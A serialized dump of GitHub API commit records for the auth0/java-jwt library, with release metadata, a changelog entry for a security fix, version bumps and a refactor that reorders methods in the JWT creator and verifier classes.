         List<String> nestedListClaims = Arrays.asList("1", "2");
@@ -114,7 +114,7 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws
     }
 
     @Test
-    public void shouldSupportJsonValueHeaderWithNestedDataStructure() {
+    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         Map<String, Object> header = new HashMap<>();
         header.put(HeaderParams.KEY_ID, "xyz");
 uau(1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f}(sha(1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fnode_idEC_kwDOAQtL0doAKDFmMGQ2NWZhMmMzNzk4Y2QyZDgxYjg1YjQ2ZTMxYWFkMmFkMGIwNWYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-05T15:34:04Zu	committer}(j|  GitHubj|  noreply@github.comj|  2022-05-05T15:34:04ZumessageIMerge pull request #581 from auth0/perform-release-3.19.2

Release 3.19.2tree}(j|  (e0c65e26caf8d817110e2a745713ea57349b3d52url^https://api.github.com/repos/auth0/java-jwt/git/trees/e0c65e26caf8d817110e2a745713ea57349b3d52uj*|  `https://api.github.com/repos/auth0/java-jwt/git/commits/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJic+5sCRBK7hj4Ov3rIwAAhrMIADHlwtuSOKkIbRcVWixOjMhj
O2Dju7F3rJ7aUtb44QdpA5y9wecyM4XVJdgve9Qk3P2UnSbsMQE8KZ+tGN05GJiL
kuEYjfJFE6fWmuAYE483Pfcoo0Nrf0tjm1LpcjEAyppzGJ2sHC+y3OvgthWtoKU8
Lq3ng64+C4+fvjkOwPM9qgT8I6kmKBbWHH53WE4W8ajDxgSJP7WH3x/l9+3EXxrg
CUlbiEOaZWU8qgbtsIJlziPkIkd9r2W5EBlfkSAGZuNKIxv3AjQowZ9UnVE8uGSR
jDu9BG+mer1ZVVDrL7bFBFWDrjaQOUlhL9ONg1ysI/Xe9xFG8D7snEHLD1xKswA=
=H+WR
-----END PGP SIGNATURE-----
payloadXK  tree e0c65e26caf8d817110e2a745713ea57349b3d52
parent 34caf1fa3371a832e9359fef15d4226461d0de0a
parent fd3eac3b721c7481a69d9109cc0666b65544ac5b
author Poovamraj T T <poovamraj@gmail.com> 1651764844 +0200
committer GitHub <noreply@github.com> 1651764844 +0200

Merge pull request #581 from auth0/perform-release-3.19.2

Release 3.19.2uuj*|  \https://api.github.com/repos/auth0/java-jwt/commits/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fhtml_urlQhttps://github.com/auth0/java-jwt/commit/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/commentsj|  }(login	poovamrajidJ j|  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j*|  &https://api.github.com/users/poovamrajj8|  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj |  }(j=|  web-flowj?|  J/j|  MDQ6VXNlcjE5ODY0NDQ3jA|  4https://avatars.githubusercontent.com/u/19864447?v=4jC|  h3j*|  %https://api.github.com/users/web-flowj8|  https://github.com/web-flowjF|  /https://api.github.com/users/web-flow/followersjH|  <https://api.github.com/users/web-flow/following{/other_user}jJ|  5https://api.github.com/users/web-flow/gists{/gist_id}jL|  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jN|  3https://api.github.com/users/web-flow/subscriptionsjP|  *https://api.github.com/users/web-flow/orgsjR|  +https://api.github.com/users/web-flow/reposjT|  6https://api.github.com/users/web-flow/events{/privacy}jV|  5https://api.github.com/users/web-flow/received_eventsjX|  UserjZ|  uparents](}(j|  (34caf1fa3371a832e9359fef15d4226461d0de0aj*|  \https://api.github.com/repos/auth0/java-jwt/commits/34caf1fa3371a832e9359fef15d4226461d0de0aj8|  Qhttps://github.com/auth0/java-jwt/commit/34caf1fa3371a832e9359fef15d4226461d0de0au}(j|  (fd3eac3b721c7481a69d9109cc0666b65544ac5bj*|  \https://api.github.com/repos/auth0/java-jwt/commits/fd3eac3b721c7481a69d9109cc0666b65544ac5bj8|  Qhttps://github.com/auth0/java-jwt/commit/fd3eac3b721c7481a69d9109cc0666b65544ac5buestats}(totalK
	additionsK	deletionsKufiles](}(j|  (d81f9a1838cb80831b2da68ba3454a34c185f2f6filenameCHANGELOG.mdstatusmodifiedjx|  Kjy|  K changesKblob_url\https://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fpatchX  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.19.2](https://github.com/auth0/java-jwt/tree/3.19.2) (2022-05-05)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.1...3.19.2)
+
+**Security**
+- [SDK-3311] Added protection against CVE-2022-21449 [\#579](https://github.com/auth0/java-jwt/pull/579) ([poovamraj](https://github.com/poovamraj))
+
 ## [3.19.1](https://github.com/auth0/java-jwt/tree/3.19.1) (2022-03-30)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.0...3.19.1)
 u}(j|  (c55fa70cb1868b2816e68e0269aeb4267aff79fcj~|  	README.mdj|  modifiedjx|  Kjy|  Kj|  Kj|  Yhttps://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/README.mdj|  Xhttps://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/README.mdj|  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj|  X  @@ -25,14 +25,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.1</version>
+    <version>3.19.2</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.1'
+implementation 'com.auth0:java-jwt:3.19.2'
 ```
 
 ## Available Algorithmsueu(39eec490bd9ad07f7260e9fa1fd0cf60369c6036}(sha(39eec490bd9ad07f7260e9fa1fd0cf60369c6036node_idEC_kwDOAQtL0doAKDM5ZWVjNDkwYmQ5YWQwN2Y3MjYwZTlmYTFmZDBjZjYwMzY5YzYwMzYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-08-31T13:34:11Zu	committer}(j|  
Poovamraj T Tj|  poovamraj@gmail.comj|  2022-08-31T13:34:11Zumessage
Trigger Buildtree}(j|  (0c85b2ea1de521cdaafe642e19ed1b6d177d23b2url^https://api.github.com/repos/auth0/java-jwt/git/trees/0c85b2ea1de521cdaafe642e19ed1b6d177d23b2uj|  `https://api.github.com/repos/auth0/java-jwt/git/commits/39eec490bd9ad07f7260e9fa1fd0cf60369c6036
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj|  \https://api.github.com/repos/auth0/java-jwt/commits/39eec490bd9ad07f7260e9fa1fd0cf60369c6036html_urlQhttps://github.com/auth0/java-jwt/commit/39eec490bd9ad07f7260e9fa1fd0cf60369c6036comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/39eec490bd9ad07f7260e9fa1fd0cf60369c6036/commentsj|  }(login	poovamrajidJ j|  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j|  &https://api.github.com/users/poovamrajj|  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj|  }(j|  	poovamrajj|  J j|  MDQ6VXNlcjE1OTEwNDI1j|  4https://avatars.githubusercontent.com/u/15910425?v=4j|  h3j|  &https://api.github.com/users/poovamrajj|  https://github.com/poovamrajj|  0https://api.github.com/users/poovamraj/followersj|  =https://api.github.com/users/poovamraj/following{/other_user}j|  6https://api.github.com/users/poovamraj/gists{/gist_id}j|  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j|  4https://api.github.com/users/poovamraj/subscriptionsj|  +https://api.github.com/users/poovamraj/orgsj|  ,https://api.github.com/users/poovamraj/reposj|  7https://api.github.com/users/poovamraj/events{/privacy}j|  6https://api.github.com/users/poovamraj/received_eventsj|  Userj|  uparents]}(j|  (6cc36f61345300e363546dbb46a919651df2d4bcj|  \https://api.github.com/repos/auth0/java-jwt/commits/6cc36f61345300e363546dbb46a919651df2d4bcj|  Qhttps://github.com/auth0/java-jwt/commit/6cc36f61345300e363546dbb46a919651df2d4bcuastats}(totalK 	additionsK 	deletionsK ufiles]u(c429db20c073397fbb89f609895877e006182bd6}(sha(c429db20c073397fbb89f609895877e006182bd6node_idEC_kwDOAQtL0doAKGM0MjlkYjIwYzA3MzM5N2ZiYjg5ZjYwOTg5NTg3N2UwMDYxODJiZDYcommit}(author}(nameAntónio Pedro Santosemailaps@dnxt.ptdate2022-09-26T10:27:18Zu	committer}(j}  António Pedro Santosj}  aps@dnxt.ptj}  2022-09-26T10:27:18Zumessage
code rulestree}(j|  (62a55e4428d9b096918894ea5c2f9e9e4fd675fburl^https://api.github.com/repos/auth0/java-jwt/git/trees/62a55e4428d9b096918894ea5c2f9e9e4fd675fbuj}  `https://api.github.com/repos/auth0/java-jwt/git/commits/c429db20c073397fbb89f609895877e006182bd6
comment_countK verification}(verifiedreasonvalid	signature-----BEGIN PGP SIGNATURE-----

iHUEABYKAB0WIQS/x9KuztyA3mLS2S8QJVoVuKaCBgUCYzF+hgAKCRAQJVoVuKaC
BjkOAP9DR1yuLQ/nHUzGHc17UOzjCyDvcf8MMTuTzgn9cdVUzgD/QGIWu7h+ii+E
4uW5/ystlCYsX1tmMRNFQHHt6XqDxAY=
=2NIi
-----END PGP SIGNATURE-----payloadtree 62a55e4428d9b096918894ea5c2f9e9e4fd675fb
parent acc3723d0d454f508e3e3c4315b02d1e16649995
author António Pedro Santos <aps@dnxt.pt> 1664188038 +0100
committer António Pedro Santos <aps@dnxt.pt> 1664188038 +0100

code rules
uuj}  \https://api.github.com/repos/auth0/java-jwt/commits/c429db20c073397fbb89f609895877e006182bd6html_urlQhttps://github.com/auth0/java-jwt/commit/c429db20c073397fbb89f609895877e006182bd6comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c429db20c073397fbb89f609895877e006182bd6/commentsj}  }(loginaps-dnxtidJj|  MDQ6VXNlcjc3NDYxNDA0
avatar_url4https://avatars.githubusercontent.com/u/77461404?v=4gravatar_idh3j}  %https://api.github.com/users/aps-dnxtj!}  https://github.com/aps-dnxt
followers_url/https://api.github.com/users/aps-dnxt/followers
following_url<https://api.github.com/users/aps-dnxt/following{/other_user}	gists_url5https://api.github.com/users/aps-dnxt/gists{/gist_id}starred_url<https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/aps-dnxt/subscriptionsorganizations_url*https://api.github.com/users/aps-dnxt/orgs	repos_url+https://api.github.com/users/aps-dnxt/repos
events_url6https://api.github.com/users/aps-dnxt/events{/privacy}received_events_url5https://api.github.com/users/aps-dnxt/received_eventstypeUser
site_adminuj	}  }(j&}  aps-dnxtj(}  Jj|  MDQ6VXNlcjc3NDYxNDA0j*}  4https://avatars.githubusercontent.com/u/77461404?v=4j,}  h3j}  %https://api.github.com/users/aps-dnxtj!}  https://github.com/aps-dnxtj/}  /https://api.github.com/users/aps-dnxt/followersj1}  <https://api.github.com/users/aps-dnxt/following{/other_user}j3}  5https://api.github.com/users/aps-dnxt/gists{/gist_id}j5}  <https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}j7}  3https://api.github.com/users/aps-dnxt/subscriptionsj9}  *https://api.github.com/users/aps-dnxt/orgsj;}  +https://api.github.com/users/aps-dnxt/reposj=}  6https://api.github.com/users/aps-dnxt/events{/privacy}j?}  5https://api.github.com/users/aps-dnxt/received_eventsjA}  UserjC}  uparents]}(j|  (acc3723d0d454f508e3e3c4315b02d1e16649995j}  \https://api.github.com/repos/auth0/java-jwt/commits/acc3723d0d454f508e3e3c4315b02d1e16649995j!}  Qhttps://github.com/auth0/java-jwt/commit/acc3723d0d454f508e3e3c4315b02d1e16649995uastats}(totalM	additionsK	deletionsKufiles](}(j|  (d72fd5c2a08cd6ded3d34eea5044d4dc03079107filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj]}  KCj^}  KCchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/c429db20c073397fbb89f609895877e006182bd6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/c429db20c073397fbb89f609895877e006182bd6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=c429db20c073397fbb89f609895877e006182bd6patchX  @@ -29,10 +29,6 @@
 @SuppressWarnings("WeakerAccess")
 public final class JWTCreator {
 
-    private final Algorithm algorithm;
-    private final String headerJson;
-    private final String payloadJson;
-
     private static final ObjectMapper mapper;
     private static final SimpleModule module;
 
@@ -45,6 +41,10 @@ public final class JWTCreator {
         mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);
     }
 
+    private final Algorithm algorithm;
+    private final String headerJson;
+    private final String payloadJson;
+
     private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims)
             throws JWTCreationException {
         this.algorithm = algorithm;
@@ -66,6 +66,19 @@ static JWTCreator.Builder init() {
         return new Builder();
     }
 
+    private String sign(Provider cryptoProvider) throws SignatureGenerationException {
+        String header = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
+        String payload = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
+
+        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8), cryptoProvider);
+        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString((signatureBytes));
+
+        return String.format("%s.%s.%s", header, payload, signature);
+    }
+
     /**
      * The Builder class holds the Claims that defines the JWT to be created.
      */
@@ -78,6 +91,55 @@ public static class Builder {
             this.headerClaims = new HashMap<>();
         }
 
+        private static boolean validateClaim(Map<?, ?> map) {
+            // do not accept null values in maps
+            for (Entry<?, ?> entry : map.entrySet()) {
+                Object value = entry.getValue();
+                if (!isSupportedType(value)) {
+                    return false;
+                }
+
+                if (entry.getKey() == null || !(entry.getKey() instanceof String)) {
+                    return false;
+                }
+            }
+            return true;
+        }
+
+        private static boolean validateClaim(List<?> list) {
+            // accept null values in list
+            for (Object object : list) {
+                if (!isSupportedType(object)) {
+                    return false;
+                }
+            }
+            return true;
+        }
+
+        private static boolean isSupportedType(Object value) {
+            if (value instanceof List) {
+                return validateClaim((List<?>) value);
+            } else if (value instanceof Map) {
+                return validateClaim((Map<?, ?>) value);
+            } else {
+                return isBasicType(value);
+            }
+        }
+
+        private static boolean isBasicType(Object value) {
+            if (value == null) {
+                return true;
+            } else {
+                Class<?> c = value.getClass();
+
+                if (c.isArray()) {
+                    return c == Integer[].class || c == Long[].class || c == String[].class;
+                }
+                return c == String.class || c == Integer.class || c == Long.class || c == Double.class
+                        || c == Date.class || c == Instant.class || c == Boolean.class;
+            }
+        }
+
         /**
          * Add specific Claims to set as the Header.
          * If provided map is null then nothing is changed
@@ -487,55 +549,6 @@ private boolean validatePayload(Map<String, ?> payload) {
             return true;
         }
 
-        private static boolean validateClaim(Map<?, ?> map) {
-            // do not accept null values in maps
-            for (Entry<?, ?> entry : map.entrySet()) {
-                Object value = entry.getValue();
-                if (!isSupportedType(value)) {
-                    return false;
-                }
-
-                if (entry.getKey() == null || !(entry.getKey() instanceof String)) {
-                    return false;
-                }
-            }
-            return true;
-        }
-
-        private static boolean validateClaim(List<?> list) {
-            // accept null values in list
-            for (Object object : list) {
-                if (!isSupportedType(object)) {
-                    return false;
-                }
-            }
-            return true;
-        }
-
-        private static boolean isSupportedType(Object value) {
-            if (value instanceof List) {
-                return validateClaim((List<?>) value);
-            } else if (value instanceof Map) {
-                return validateClaim((Map<?, ?>) value);
-            } else {
-                return isBasicType(value);
-            }
-        }
-
-        private static boolean isBasicType(Object value) {
-            if (value == null) {
-                return true;
-            } else {
-                Class<?> c = value.getClass();
-
-                if (c.isArray()) {
-                    return c == Integer[].class || c == Long[].class || c == String[].class;
-                }
-                return c == String.class || c == Integer.class || c == Long.class || c == Double.class
-                        || c == Date.class || c == Instant.class || c == Boolean.class;
-            }
-        }
-
         /**
          * Creates a new JWT and signs is with the given algorithm.
          *
@@ -564,7 +577,7 @@ public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCrea
          */
         public String sign(Algorithm algorithm, String providerName)
                 throws IllegalArgumentException, JWTCreationException, NoSuchProviderException {
-            if(providerName==null){
+            if (providerName == null) {
                 throw new IllegalArgumentException("providerName cannot be null");
             }
 
@@ -613,17 +626,4 @@ private void addClaim(String name, Object value) {
         }
 
     }
-
-    private String sign(Provider cryptoProvider) throws SignatureGenerationException {
-        String header = Base64.getUrlEncoder().withoutPadding()
-                .encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
-        String payload = Base64.getUrlEncoder().withoutPadding()
-                .encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
-
-        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8),
-                payload.getBytes(StandardCharsets.UTF_8), cryptoProvider);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString((signatureBytes));
-
-        return String.format("%s.%s.%s", header, payload, signature);
-    }
 }u}(j|  (5e3b04ef30a06757131eaedcb0e3dd1d08a619b9jc}  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaje}  modifiedj]}  KDj^}  KEjg}  Kjh}  https://github.com/auth0/java-jwt/blob/c429db20c073397fbb89f609895877e006182bd6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javajj}  https://github.com/auth0/java-jwt/raw/c429db20c073397fbb89f609895877e006182bd6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javajl}  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=c429db20c073397fbb89f609895877e006182bd6jn}  X  @@ -2,10 +2,10 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.*;
+import com.auth0.jwt.impl.ExpectedCheckHolder;
 import com.auth0.jwt.impl.JWTParser;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
-import com.auth0.jwt.impl.ExpectedCheckHolder;
 import com.auth0.jwt.interfaces.Verification;
 
 import java.time.Clock;
@@ -24,8 +24,8 @@
  * @see com.auth0.jwt.interfaces.JWTVerifier
  */
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
-    private final Algorithm algorithm;
     final List<ExpectedCheckHolder> expectedChecks;
+    private final Algorithm algorithm;
     private final JWTParser parser;
 
     JWTVerifier(Algorithm algorithm, List<ExpectedCheckHolder> expectedChecks) {
@@ -45,18 +45,82 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
         return new BaseVerification(algorithm);
     }
 
+    /**
+     * Perform the verification against the given Token, using any previous configured options.
+     *
+     * @param token to verify.
+     * @return a verified and decoded JWT.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
+     * @throws SignatureVerificationException if the signature is invalid.
+     * @throws TokenExpiredException          if the token has expired.
+     * @throws MissingClaimException          if a claim to be verified is missing.
+     * @throws IncorrectClaimException        if a claim contained a different value than the expected one.
+     */
+    @Override
+    public DecodedJWT verify(String token) throws JWTVerificationException {
+        DecodedJWT jwt = new JWTDecoder(parser, token);
+        return verify(jwt);
+    }
+
+    /**
+     * Perform the verification against the given decoded JWT, using any previous configured options.
+     *
+     * @param jwt to verify.
+     * @return a verified and decoded JWT.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
+     * @throws SignatureVerificationException if the signature is invalid.
+     * @throws TokenExpiredException          if the token has expired.
+     * @throws MissingClaimException          if a claim to be verified is missing.
+     * @throws IncorrectClaimException        if a claim contained a different value than the expected one.
+     */
+    @Override
+    public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
+        verifyAlgorithm(jwt, algorithm);
+        algorithm.verify(jwt);
+        verifyClaims(jwt, expectedChecks);
+        return jwt;
+    }
+
+    private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws AlgorithmMismatchException {
+        if (!expectedAlgorithm.getName().equals(jwt.getAlgorithm())) {
+            throw new AlgorithmMismatchException(
+                    "The provided Algorithm doesn't match the one defined in the JWT's Header.");
+        }
+    }
+
+    private void verifyClaims(DecodedJWT jwt, List<ExpectedCheckHolder> expectedChecks)
+            throws TokenExpiredException, InvalidClaimException {
+        for (ExpectedCheckHolder expectedCheck : expectedChecks) {
+            boolean isValid;
+            String claimName = expectedCheck.getClaimName();
+            Claim claim = jwt.getClaim(claimName);
+
+            isValid = expectedCheck.verify(claim, jwt);
+
+            if (!isValid) {
+                throw new IncorrectClaimException(
+                        String.format("The Claim '%s' value doesn't match the required one.", claimName),
+                        claimName,
+                        claim
+                );
+            }
+        }
+    }
+
     /**
      * {@link Verification} implementation that accepts all the expected Claim values for verification, and
      * builds a {@link com.auth0.jwt.interfaces.JWTVerifier} used to verify a JWT's signature and expected claims.
-     *
+     * <p>
      * Note that this class is <strong>not</strong> thread-safe. Calling {@link #build()} returns an instance of
      * {@link com.auth0.jwt.interfaces.JWTVerifier} which can be reused.
      */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
         private final List<ExpectedCheckHolder> expectedChecks;
-        private long defaultLeeway;
         private final Map<String, Long> customLeeways;
+        private long defaultLeeway;
         private boolean ignoreIssuedAt;
         private Clock clock;
 
@@ -425,69 +489,4 @@ private boolean isNullOrEmpty(String[] args) {
             return isAllNull;
         }
     }
-
-
-    /**
-     * Perform the verification against the given Token, using any previous configured options.
-     *
-     * @param token to verify.
-     * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
-     *                                        the one defined in the {@link JWTVerifier}.
-     * @throws SignatureVerificationException if the signature is invalid.
-     * @throws TokenExpiredException          if the token has expired.
-     * @throws MissingClaimException          if a claim to be verified is missing.
-     * @throws IncorrectClaimException        if a claim contained a different value than the expected one.
-     */
-    @Override
-    public DecodedJWT verify(String token) throws JWTVerificationException {
-        DecodedJWT jwt = new JWTDecoder(parser, token);
-        return verify(jwt);
-    }
-
-    /**
-     * Perform the verification against the given decoded JWT, using any previous configured options.
-     *
-     * @param jwt to verify.
-     * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
-     *                                        the one defined in the {@link JWTVerifier}.
-     * @throws SignatureVerificationException if the signature is invalid.
-     * @throws TokenExpiredException          if the token has expired.
-     * @throws MissingClaimException          if a claim to be verified is missing.
-     * @throws IncorrectClaimException        if a claim contained a different value than the expected one.
-     */
-    @Override
-    public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
-        verifyAlgorithm(jwt, algorithm);
-        algorithm.verify(jwt);
-        verifyClaims(jwt, expectedChecks);
-        return jwt;
-    }
-
-    private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws AlgorithmMismatchException {
-        if (!expectedAlgorithm.getName().equals(jwt.getAlgorithm())) {
-            throw new AlgorithmMismatchException(
-                    "The provided Algorithm doesn't match the one defined in the JWT's Header.");
-        }
-    }
-
-    private void verifyClaims(DecodedJWT jwt, List<ExpectedCheckHolder> expectedChecks)
-            throws TokenExpiredException, InvalidClaimException {
-        for (ExpectedCheckHolder expectedCheck : expectedChecks) {
-            boolean isValid;
-            String claimName = expectedCheck.getClaimName();
-            Claim claim = jwt.getClaim(claimName);
-
-            isValid = expectedCheck.verify(claim, jwt);
-
-            if (!isValid) {
-                throw new IncorrectClaimException(
-                        String.format("The Claim '%s' value doesn't match the required one.", claimName),
-                        claimName,
-                        claim
-                );
-            }
-        }
-    }
 }u}(j|  (aa36dff1f4a7e40612cadf7b514d4833a3ac3468jc}  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javaje}  modifiedj]}  Kj^}  Kjg}  Kjh}  https://github.com/auth0/java-jwt/blob/c429db20c073397fbb89f609895877e006182bd6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajj}  https://github.com/auth0/java-jwt/raw/c429db20c073397fbb89f609895877e006182bd6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajl}  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=c429db20c073397fbb89f609895877e006182bd6jn}  Xc  @@ -5,7 +5,10 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 
 import java.nio.charset.StandardCharsets;
-import java.security.*;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.Provider;
 import java.util.Arrays;
 import java.util.Base64;
 ueu(d923e992b157ea54493ecaa5e35c73c382fff7ff}(sha(d923e992b157ea54493ecaa5e35c73c382fff7ffnode_idEC_kwDOAQtL0doAKGQ5MjNlOTkyYjE1N2VhNTQ0OTNlY2FhNWUzNWM3M2MzODJmZmY3ZmYcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-03-29T18:08:39Zu	committer}(j}  GitHubj}  noreply@github.comj}  2022-03-29T18:08:39ZumessageBump to 2.13.2.2tree}(j}  (18cd4eb8a7f0e09b5dde6e7b9a823a4920b3e8a7url^https://api.github.com/repos/auth0/java-jwt/git/trees/18cd4eb8a7f0e09b5dde6e7b9a823a4920b3e8a7uj}  `https://api.github.com/repos/auth0/java-jwt/git/commits/d923e992b157ea54493ecaa5e35c73c382fff7ff
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiQ0snCRBK7hj4Ov3rIwAAoAMIAEcx/T1gRluQKlYiXccV0M06
yN49nDANIeV2UzoVFJz4FbvvGv0SPqDR0OwO0mQGWTl3jGqzlifGfeV4cIZAokUZ
PyKdCGeUIutnV8eDW3P4aK4ptBgjmqG3qzCIaQtnaZbQFWBqYi6nrS18vVsZgnzi
BoMZvOv4s+N0HHKC/1tPmvF4IoBKM1I+5GamSbdW0fFQGJ3sxCr1dTxmahhxk0I2
qww2u/3fdtEp01vT+2SFXHs2QGjGGs3ia8bjzPs5vAnH40Wt/qXnOMjQbHQpG14P
pab15DphOzAhXXSpBRnWxbuWMp40YNk9bL1wVS5hv0WK50GJHqH6nQ53FfZZ8cs=
=ocrQ
-----END PGP SIGNATURE-----
payloadtree 18cd4eb8a7f0e09b5dde6e7b9a823a4920b3e8a7
parent 3b153a0ded5053efc2e2841284e90e4793c865c4
author Evan Sims <evan.sims@auth0.com> 1648577319 -0400
committer GitHub <noreply@github.com> 1648577319 -0400

Bump to 2.13.2.2uuj}  \https://api.github.com/repos/auth0/java-jwt/commits/d923e992b157ea54493ecaa5e35c73c382fff7ffhtml_urlQhttps://github.com/auth0/java-jwt/commit/d923e992b157ea54493ecaa5e35c73c382fff7ffcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d923e992b157ea54493ecaa5e35c73c382fff7ff/commentsj}  }(loginevansimsidMj}  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3j}  %https://api.github.com/users/evansimsj}  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
